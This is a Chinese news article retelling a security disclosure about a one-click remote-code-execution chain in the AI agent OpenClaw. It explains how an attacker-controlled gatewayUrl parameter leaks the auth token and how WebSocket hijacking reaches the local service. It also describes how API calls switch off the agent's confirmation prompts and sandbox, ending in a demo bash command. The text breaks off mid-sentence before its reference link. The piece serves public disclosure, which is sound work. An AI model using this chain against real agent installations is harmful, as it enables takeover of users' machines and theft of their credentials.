只需点一次,你的电脑就归我了?OpenClaw惊现“上帝级”漏洞

想象一下,你把家门钥匙、银行卡密码、还有电脑的最高管理权限,统统交给了一个所谓的“全能管家”。

你信任它,因为它是目前科技圈最火的 Agent——OpenClaw(前身为 Moltbot)。

超过 10 万开发者已经这么做了,让它接管 iMessage、WhatsApp、Slack,甚至拥有对本地计算机不受限的控制权。

但当你赋予 Agent“上帝模式”的那一刻,容错率就归零了。

就在社区为它的强大能力欢呼时,安全研究机构 depthfirst 却给这泼了一盆冷水:只需一个恶意链接,你的电脑和隐私数据,就会在毫秒级时间内被黑客完全接管。

这不是演习,这是刚刚发生的真实“翻车”现场。

盲目的信任:代码里的隐形炸弹

AI配图

说实话,现在的代码库复杂得像迷宫,逻辑碎片散落在几十个文件里,Bug 就藏在这些缝隙中。

depthfirst 的系统扫描了 OpenClaw 的全生命周期,把散落在各处的数据流拼了起来,结果发现了一个致命的逻辑断层。

这事儿说起来甚至有点“低级”。

问题出在 app-settings.ts。它太听话了,会盲目接受 URL 里的 gatewayUrl 查询参数,并且直接存进本地存储。

比如,你访问 https://localhost?gatewayUrl=attacker.com,它就会乖乖把网关地址改成攻击者指定的服务器。

更要命的是 app-lifecycle.ts,一旦设置变更,它会立即触发 connectGateway(),连个犹豫都没有。

紧接着,gateway.ts 会自动把最敏感的 authToken 打包进握手协议,发给这个新的“假网关”。

Image 1

单独看每一步,好像都没问题。但串起来,这就是一条完美的数据泄露链条:只要你点了一个链接,你的认证令牌就飞到了黑客手里。

绕过“localhost”:黑客的跳板艺术

如果只到这里,这还只是一个普通的信息泄露漏洞。

但黑客的想象力总是比开发者更丰富。

大多数用户是在 localhost(本地)运行 OpenClaw 的。按照常理,外网黑客根本访问不了你的本地环境,偷了 Token 也没用。

这就不得不提一个被忽视的浏览器机制。

虽然浏览器对 HTTP 连接有严格的同源策略(SOP),但对 WebSocket 连接却网开一面。验证 origin 也就是来源,是 WebSocket 服务器自己的责任。

很遗憾,OpenClaw 的服务器忘了做这件事。

这意味着,黑客可以利用你的浏览器做“跳板”。当你在访问恶意网站 attacker.com 时,黑客的 JavaScript 可以在后台悄悄打开一条通往 ws://localhost:18789 的通道。

这就是所谓的 CSWSH(跨站点 WebSocket 劫持)

你的浏览器成了帮凶,把黑客直接接进了你的本地系统。

解除武装:把“保镖”变成“杀手”

OpenClaw 并非没有防御机制。

AI配图

它默认会有弹窗确认,甚至可以在沙箱容器里运行工具,防止乱来。

但这些防御机制,也是通过 API 管理的。

既然黑客已经拿到了拥有 operator.admin 权限的 Token,他们根本不需要费劲去破解沙箱,而是直接命令系统:“把保镖撤了”。

攻击者只需要发送两个 API 请求:

  1. 关闭用户确认ask 设为 "off"。以后执行危险命令,系统不再问你同不同意。
  2. 逃出容器tools.exec.host 设为 "gateway"。强制 Agent 直接在宿主机上运行命令,而不是在 Docker 容器里。

这时候,你的电脑已经彻底裸奔了。

完美的“秒杀”链路

把这一切串联起来,攻击过程快得让你根本反应不过来。

受害者不需要输入任何东西,也不需要批准任何弹窗。

  1. 你点开了一个看起来人畜无害的网站。
  2. 网站背后的 JS 代码悄悄打开 OpenClaw 的链接,把你的 Token 偷走。
  3. 同一段 JS 代码利用你的浏览器连接到你的本地 OpenClaw 服务。
  4. 黑客用偷来的 Token 登录,关掉你的安防系统。
  5. 最后,一条 bash -c 'echo hacked > /tmp/hacked' 命令执行,任意代码运行成功。

从你点开链接,到电脑沦陷,一切都在毫秒之间完成。

不对称的战争:AI 时代的隐忧

这事儿最讽刺的地方在于,OpenClaw 是目前最热门的 AI Agent,代表了技术的最前沿,却倒在了最基础的

参考链接:
https://depthfirst.com/post/1-click-rce-to-steal-your-moltbot-data-and-keys